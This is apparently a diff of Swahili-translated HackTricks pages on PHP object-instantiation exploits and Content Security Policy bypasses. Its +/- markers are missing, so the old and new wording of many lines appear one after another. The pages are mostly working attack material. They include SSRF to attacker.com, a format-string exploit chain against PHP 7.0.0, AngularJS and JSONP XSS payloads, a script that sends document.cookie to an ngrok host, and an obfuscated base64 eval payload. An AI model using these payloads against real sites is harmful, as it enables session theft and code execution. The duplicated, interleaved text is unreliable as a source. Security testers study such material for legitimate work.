Darasa la `SplFileObject` linawezesha SSRF kupitia wakandarasi wake, likiruhusu muunganisho na URL yoyote:
Darasa `SplFileObject` unawezesha SSRF kupitia constructor yake, ukiruhusu miunganisho kwa URL yoyote:
```php
new SplFileObject('http://attacker.com/');
```
SSRF inaweza kusababisha mashambulizi ya deserialization katika matoleo ya PHP kabla ya 8.0 kwa kutumia itifaki ya Phar.
### **Kunutumia PDOs**
### **Kutumia PDOs**
Mjenzi wa darasa la PDO unaruhusu muunganisho na hifadhidata kupitia nyuzi za DSN, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:
Konstrukta ya darasa la PDO inaruhusu muunganisho na hifadhidata kupitia DSN strings, na inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Matoleo ya PHP hadi 5.3.22 na 5.4.12 yalikuwa na hatari ya mashambulizi ya XXE kupitia waandishi wa `SoapClient` na `SimpleXMLElement`, kulingana na toleo la libxml2.
Toleo za PHP hadi 5.3.22 na 5.4.12 zilikuwa nyeti kwa mashambulizi ya XXE kupitia vianzilishi `SoapClient` na `SimpleXMLElement`, kutegemea toleo la libxml2.
## RCE kupitia Imagick Extension
## RCE via Imagick Extension
Katika uchambuzi wa **mategemeo ya mradi**, iligundulika kwamba **Imagick** inaweza kutumika kwa **kutekeleza amri** kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.
Katika uchambuzi wa **tegemezi za mradi**, iligundulika kwamba **Imagick** inaweza kutumika kwa ajili ya **command execution** kwa kuunda objects mpya. Hii inatoa fursa ya exploiting vulnerabilities.
### VID parser
Uwezo wa VID parser wa kuandika maudhui kwenye njia yoyote iliyoainishwa katika mfumo wa faili ulitambuliwa. Hii inaweza kusababisha kuwekwa kwa shell ya PHP katika saraka inayoweza kufikiwa kupitia wavuti, ikipata Remote Code Execution (RCE).
Uwezo wa VID parser wa kuandika maudhui katika njia yoyote iliyotajwa kwenye filesystem ulideteksiwa. Hii inaweza kusababisha kuwekwa kwa PHP shell katika directory inayoweza kupatikana kwa wavuti, ukifikia Remote Code Execution (RCE).
#### VID Parser + Upakiaji wa Faili
#### VID Parser + File Upload
Imepangwa kwamba PHP inahifadhi kwa muda faili zilizopakiwa katika `/tmp/phpXXXXXX`. VID parser katika Imagick, ikitumia protokali ya **msl**, inaweza kushughulikia wildcards katika njia za faili, ikirahisisha uhamishaji wa faili ya muda kwenda mahali ulipochagua. Njia hii inatoa mbinu ya ziada ya kufikia uandishi wa faili bila mpangilio ndani ya mfumo wa faili.
Imetajwa kwamba PHP huhifadhi kwa muda files zilizopakiwa katika `/tmp/phpXXXXXX`. VID parser katika Imagick, kwa kutumia itifaki ya **msl**, inaweza kushughulikia wildcards katika paths za faili, ikirahisisha kunakiliwa kwa faili ya muda hadi mahali uliotengwa. Njia hii inatoa mbinu ya ziada ya kupata arbitrary file writing ndani ya filesystem.
### PHP Crash + Brute Force
Mbinu iliyoelezwa katika [**andiko la asili**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) inahusisha kupakia faili zinazochochea kuanguka kwa seva kabla ya kufutwa. Kwa kutumia brute-force jina la faili ya muda, inakuwa inawezekana kwa Imagick kutekeleza msimbo wa PHP bila mpangilio. Hata hivyo, mbinu hii iligundulika kuwa na ufanisi tu katika toleo la zamani la ImageMagick.
Mbinu iliyoelezwa katika [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) inahusisha kupakia files ambazo husababisha server crash kabla ya kufutwa. Kwa brute-forcing jina la faili ya muda, inakuwa inawezekana kwa Imagick kutekeleza arbitrary PHP code. Hata hivyo, mbinu hii iligundulika kufanya kazi tu katika toleo la zamani la ImageMagick.
## Marejeleo
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Wakati input ya mtumiaji inadhibiti jina la class (mfano, `new $_GET['model']()`), PHP 7.0.0 iliingiza bug ya muda wakati wa refactor ya `Throwable` ambapo engine ilikosea kutendea jina la class kama printf format string wakati wa resolution. Hii inaruhusu classic printf-style primitives ndani ya PHP: leaks with `%p`, write-count control with width specifiers, na arbitrary writes with `%n` dhidi ya in-process pointers (kwa mfano, GOT entries kwenye ELF builds).
Mfano mdogo la repro unaoonyesha udhaifu:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Muhtasari wa utekesaji (kutoka kwenye marejeo):
- Fichua anwani kwa kutumia `%p` katika jina la darasa ili kupata lengo linaloweza kuandikwa:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Tumia vigezo vya nafasi na vipengele vya upana kuweka idadi kamili ya byte, kisha `%n` kuandika thamani hiyo kwa anwani inayofikika kwenye stack, ukilenga slot ya GOT (mfano, `free`) ili kuibadilisha sehemu kwa `system`.
- Chochea kazi iliyotekwa kwa kupitia jina la darasa lenye pipe ya shell ili kufikia `system("id")`.
Vidokezo:
- Inafanya kazi tu kwenye PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); ilirekebishwa katika toleo zifuatazo. Ukali: muhimu sana ikiwa kuna uwezekano wa kutengeneza darasa kwa hiari.
- Payload za kawaida huunganisha `%p` nyingi kufuatilia stack, kisha `%.<width>d%<pos>$n` kufanya overwrite ya sehemu.
## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

410
src/pentesting-web/content-security-policy-csp-bypass/README.md
View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
## What is CSP
## CSP ni nini
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vipengele mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
Content Security Policy (CSP) inatambuliwa kama teknolojia ya kivinjari, iliyolenga kwa msingi wa **kuzuia mashambulizi kama cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kueleza njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha aina mbalimbali za vipengele kama picha, frames, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa domaini ileile (self), ikiwa ni pamoja na rasilimali za inline na utekelezaji wa msimbo wa string kupitia functions kama `eval`, `setTimeout`, au `setInterval`.
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements into the HTML page**. Kufuatia sera hii, vivinjari hutekeleza masharti haya kwa hiari na huzuia papo hapo uvunjaji wowote unaogundulika.
- Implemented via response header:
- Imewekwa kupitia response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Imewekwa kupitia meta tag:
- Imefanywa kwa kutumia meta tag:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
### Vichwa
CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa vifuatavyo:
- `Content-Security-Policy`: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
- `Content-Security-Policy`: Inatekeleza CSP; kivinjari kinazuia ukiukaji wowote.
- `Content-Security-Policy-Report-Only`: Imetumika kwa ufuatiliaji; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
### Defining Resources
### Kufafanua Rasilimali
CSP inazuia vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
CSP inazuia asili za kupakia maudhui zote za active na passive, ikidhibiti vipengele kama utekelezaji wa inline JavaScript na matumizi ya `eval()`. Mfano wa sera ni:
```bash
default-src 'none';
img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
```
### Directives
- **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za ndani, na scripts zinazotolewa na wakala wa matukio au mitindo ya XSLT.
- **default-src**: Inaweka sera ya kawaida ya kupata rasilimali wakati maagizo maalum ya upataji hayapo.
- **child-src**: Inaeleza rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na maudhui ya fremu zilizojumuishwa.
- **connect-src**: Inapunguza URLs ambazo zinaweza kupakuliwa kwa kutumia interfaces kama fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Inapunguza URLs za fremu.
- **frame-ancestors**: Inaeleza vyanzo gani vinaweza kuingiza ukurasa wa sasa, inatumika kwa vipengele kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
- **img-src**: Inaeleza vyanzo vinavyoruhusiwa kwa picha.
- **font-src**: Inaeleza vyanzo halali kwa fonts zinazopakiwa kwa kutumia `@font-face`.
- **manifest-src**: Inaeleza vyanzo vinavyoruhusiwa vya faili za manifest ya programu.
- **media-src**: Inaeleza vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
- **object-src**: Inaeleza vyanzo vinavyoruhusiwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
- **base-uri**: Inaeleza URLs zinazoruhusiwa kwa kupakia kwa kutumia vipengele vya `<base>`.
- **form-action**: Inataja maeneo halali kwa ajili ya kuwasilisha fomu.
- **plugin-types**: Inapunguza aina za mime ambazo ukurasa unaweza kuitisha.
- **upgrade-insecure-requests**: Inawaagiza vivinjari kubadilisha URLs za HTTP kuwa HTTPS.
- **sandbox**: Inatumika vizuizi vinavyofanana na sifa ya sandbox ya `<iframe>`.
- **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za inline, na scripts zinazochochewa na event handlers au XSLT stylesheets.
- **default-src**: Inaweka sera ya msingi ya kupata rasilimali wakati maelekezo maalum ya fetch hayapo.
- **child-src**: Inaeleza vyanzo vinavyoruhusiwa kwa web workers na maudhui yaliyowekwa ndani ya frames.
- **connect-src**: Inazuia URLs zinazoweza kupakuliwa kupitia interfaces kama fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Inaweka vikwazo kwa URLs zinazotumiwa na frames.
- **frame-ancestors**: Inaeleza vyanzo vinavyoweza kuingiza ukurasa wa sasa, inafaa kwa elementi kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
- **img-src**: Inaelekeza vyanzo vinavyoruhusiwa kwa picha.
- **font-src**: Inaeleza vyanzo vyenye uhalali kwa fonts zinazopakuliwa kutumia `@font-face`.
- **manifest-src**: Inaelekeza vyanzo vinavyoruhusiwa vya application manifest files.
- **media-src**: Inaelekeza vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
- **object-src**: Inaelekeza vyanzo vinavyoruhusiwa kwa elementi `<object>`, `<embed>`, na `<applet>`.
- **base-uri**: Inaeleza URLs zinazoruhusiwa kupakiwa kwa kutumia elementi `<base>`.
- **form-action**: Inaorodhesha endpoints halali kwa uwasilishaji wa fomu.
- **plugin-types**: Inazuia mime types ambazo ukurasa unaweza kuitisha.
- **upgrade-insecure-requests**: Inaelekeza browsers kuandika upya URLs za HTTP kuwa HTTPS.
- **sandbox**: Inatekeleza vikwazo vinavyofanana na attribute ya sandbox ya `<iframe>`.
- **report-to**: Inaeleza kundi ambalo ripoti itatumwa ikiwa sera itavunjwa.
- **worker-src**: Inaeleza vyanzo halali kwa scripts za Worker, SharedWorker, au ServiceWorker.
- **prefetch-src**: Inaeleza vyanzo halali kwa rasilimali ambazo zitapata au zitapakiwa mapema.
- **navigate-to**: Inapunguza URLs ambazo hati inaweza kuhamia kwa njia yoyote (a, fomu, window.location, window.open, nk.)
- **prefetch-src**: Inaeleza vyanzo halali kwa rasilimali ambazo zitawekwa au kuprefetcha.
- **navigate-to**: Inazuia URLs ambazo dokumenti inaweza kusogea kwa njia yoyote (a, form, window.location, window.open, n.k.)
### Sources
- `*`: Inaruhusu URLs zote isipokuwa zile zenye mipango ya `data:`, `blob:`, `filesystem:`.
- `'self'`: Inaruhusu kupakia kutoka kwenye kikoa sawa.
- `'data'`: Inaruhusu rasilimali kupakiwa kupitia mpango wa data (mfano, picha zilizowekwa kwa Base64).
- `'none'`: Inazuia kupakia kutoka chanzo chochote.
- `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, haipendekezwi kwa sababu za usalama.
- `'unsafe-hashes'`: Inaruhusu wakala maalum wa matukio ya ndani.
- `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama `<script>` au `<style>` za ndani, haipendekezwi kwa sababu za usalama.
- `'nonce'`: Orodha ya kibali kwa scripts maalum za ndani zinazotumia nonce ya kijasusi (nambari inayotumika mara moja).
- Ikiwa una utekelezaji wa JS ulio na mipaka, inawezekana kupata nonce iliyotumika ndani ya ukurasa kwa `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kuirudisha ili kupakia script mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haitahitajika), kama ilivyo katika:
- `*`: Inaruhusu URLs zote isipokuwa zile zenye schemes `data:`, `blob:`, `filesystem:`.
- `'self'`: Inaruhusu kupakia kutoka domain ile ile.
- `'data'`: Inaruhusu rasilimali kupakiwa kupitia data scheme (mfano, picha zilizoencoded kwa Base64).
- `'none'`: Inazuia upakiaji kutoka chanzo chochote.
- `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, haitokiwi kwa sababu za usalama.
- `'unsafe-hashes'`: Inawezesha event handlers maalum za inline.
- `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za inline kama `<script>` au `<style>` za inline, haitakiwa kwa sababu za usalama.
- `'nonce'`: Whitelist kwa scripts maalum za inline zinazotumia nonce ya kriptografia (nambari inayotumika mara moja).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
<summary>Load script reusing nonce</summary>
<summary>Pakia script ukitumia nonce tena</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,26 +88,26 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Inaruhusu skripti zenye hash maalum ya sha256.
- `'strict-dynamic'`: Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
- `'host'`: Inaelezea mwenyeji maalum, kama `example.com`.
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizoundwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa urekebishaji).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (ni vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili pekee wakati ombi ni la asili tofauti.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haitashauriwa kwani inadhuru usalama.
- `'sha256-<hash>'`: Inaweka scripts kwenye orodha nyeupe ambazo zina hash maalum ya sha256.
- `'strict-dynamic'`: Inaruhusu kupakia scripts kutoka chanzo chochote ikiwa zimewekwa kwenye orodha nyeupe kwa nonce au hash.
- `'host'`: Inaelekeza host maalum, kama `example.com`.
- `https:`: Inapunguza URLs kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (kwa mfano, Blob URLs zilizotengenezwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka filesystem.
- `'report-sample'`: Inajumuisha sampuli ya msimbo uliokiuka katika ripoti ya ukiukaji (inayosaidia debugging).
- `'strict-origin'`: Fanana na 'self' lakini inahakikisha ngazi ya usalama ya protocol ya vyanzo inalingana na nyaraka (tu origins salama zinaweza kupakia rasilimali kutoka origins salama).
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya same-origin lakini inatuma tu origin wakati ombi ni cross-origin.
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitatoa redirect mara moja kwa rasilimali nyingine. Haipendekezi kwani inapunguza usalama.
## Sheria za CSP zisizo salama
## Sheria za CSP Zisizo Salama
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
Payload inayofanya kazi: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' kupitia Iframes
#### self + 'unsafe-inline' via Iframes
{{#ref}}
@ -117,67 +117,67 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Hii haifanyi kazi, kwa maelezo zaidi [**angalia hii**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Hii haifanyi kazi, kwa maelezo zaidi [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Kazi ya payload:
Payload inayofanya kazi:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Ikiwa unaweza kwa namna fulani kufanya **kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaiunda, **tagi mpya ya script itaruhusiwa kutekelezwa**.
Ikiwa kwa namna fulani unaweza kusababisha **allowed JS code created a new script tag** kwenye DOM kwa kutumia JS yako, kwa sababu script iliyoruhusiwa ndiyo inayoiunda, basi **new script tag will be allowed to be executed**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Kazi ya payload:
Payload inayofanya kazi:
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Ukosefu wa object-src na default-src
### Lack of object-src and default-src
> [!CAUTION] > **Inaonekana kama hii haitafanya kazi tena**
> [!CAUTION] > **Inaonekana hii haifanyi kazi tena**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Inafanya kazi payloads:
Payloads zinazofanya kazi:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Upakuaji wa Faili + 'self'
### Kupakia Faili + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:
Ikiwa unaweza kupakia faili ya JS, unaweza bypass CSP hii:
Payload inayofanya kazi:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
Hata hivyo, kuna uwezekano mkubwa kwamba server inafanya **uthibitishaji wa faili zilizopakiwa** na itakuwezesha tu **kupakia aina maalum ya faili**.
Zaidi ya hayo, hata kama ungeweza kupakia **kodia ya JS ndani** ya faili kwa kutumia kiendelezi kinachokubalika na seva (kama: _script.png_), hii haitakuwa ya kutosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiendelezi** na vivinjari kama Chrome vitakataa **kutekeleza kodia ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiendelezi _**.wave**_, kwa hivyo haikihudumu na **aina ya MIME kama audio/\***.
Zaidi ya hayo, hata kama unaweza kupakia **JS code inside** ndani ya faili ukitumia extension inayokubaliwa na server (k.m.: _script.png_) hilo haitoshi kwa sababu server zingine kama apache server **select MIME type of the file based on the extension** na browsers kama Chrome wata **reject to execute Javascript** code ndani ya kitu kinachotakiwa kuwa picha. "Hopefully", kuna makosa. Kwa mfano, kutoka CTF nilijifunza kwamba **Apache doesn't know** extension _**.wave**_, kwa hivyo haitoi nayo **MIME type like audio/***.
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiendelezi kilichokosewa**, unaweza kujaribu kupakia faili yenye kiendelezi hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
Kutoka hapa, ikiwa utapata XSS na upload ya faili, na utafanikiwa kupata **misinterpreted extension**, unaweza kujaribu kupakia faili lenye extension hiyo pamoja na content ya script. Au, ikiwa server inakagua muundo sahihi wa faili iliyopakuliwa, tengeneza polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi **kwa kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunikii hatua za fomu.
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu exfiltrate kwa mfano credentials kwa **injecting a form action** (na labda kutegemea password managers kujaza nywila kiotomatiki). Unaweza kupata [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` does not cover form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Kwa baadhi ya payload zifuatazo **`unsafe-eval` hata haitahitajika**.
> Kwa baadhi ya payload zifuatazo, **`unsafe-eval` hata haihitajiki**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Pakua toleo lenye udhaifu la angular na uendeleze JS isiyo na mipaka:
Pakia toleo lenye udhaifu la angular na endesha JS yoyote:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads zinazotumia Angular + library yenye functions zinazorejesha `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kitu `window`**.
> Makala inaonyesha kwamba unaweza **load** zote **libraries** kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya JS libraries iliyoruhusiwa), kutekeleza functions zote zilizoongezwa kutoka kila library, na kuangalia **functions gani kutoka libraries gani zinarejesha `window` object**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -231,9 +231,9 @@ Angular XSS kutoka kwa jina la darasa:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Kutumia msimbo wa google recaptcha JS
#### Kutumia vibaya google recaptcha JS code
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
Kulingana na [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza JS code yoyote kupita kando ya CSP:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Zaidi ya [**payloads kutoka kwa andiko hili**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Zaidi [**payloads kutoka kwenye writeup hii**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Kutumia www.google.com kwa ajili ya kuelekeza wazi
#### Kutumia vibaya www.google.com kwa open redirect
URL ifuatayo inaelekeza kwa example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
URL ifuatayo inarudisha kwa example.com (kutoka [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Kunyanyaswa \*.google.com/script.google.com
Kutumia vibaya \*.google.com/script.google.com
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Inawezekana kutumia vibaya Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyofanywa katika [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
### Endpoints za Wahusika wa Tatu + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kufanya XSS, payload inayofanya kazi:
Mazingira kama haya ambapo `script-src` imewekwa kwa `self` na domain maalum iliyoorodheshwa inaweza kupitilizwa kwa kutumia JSONP. JSONP endpoints zinaruhusu njia za callback zisizo salama ambazo zinamruhusu mshambuliaji kufanya XSS, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,28 +289,28 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
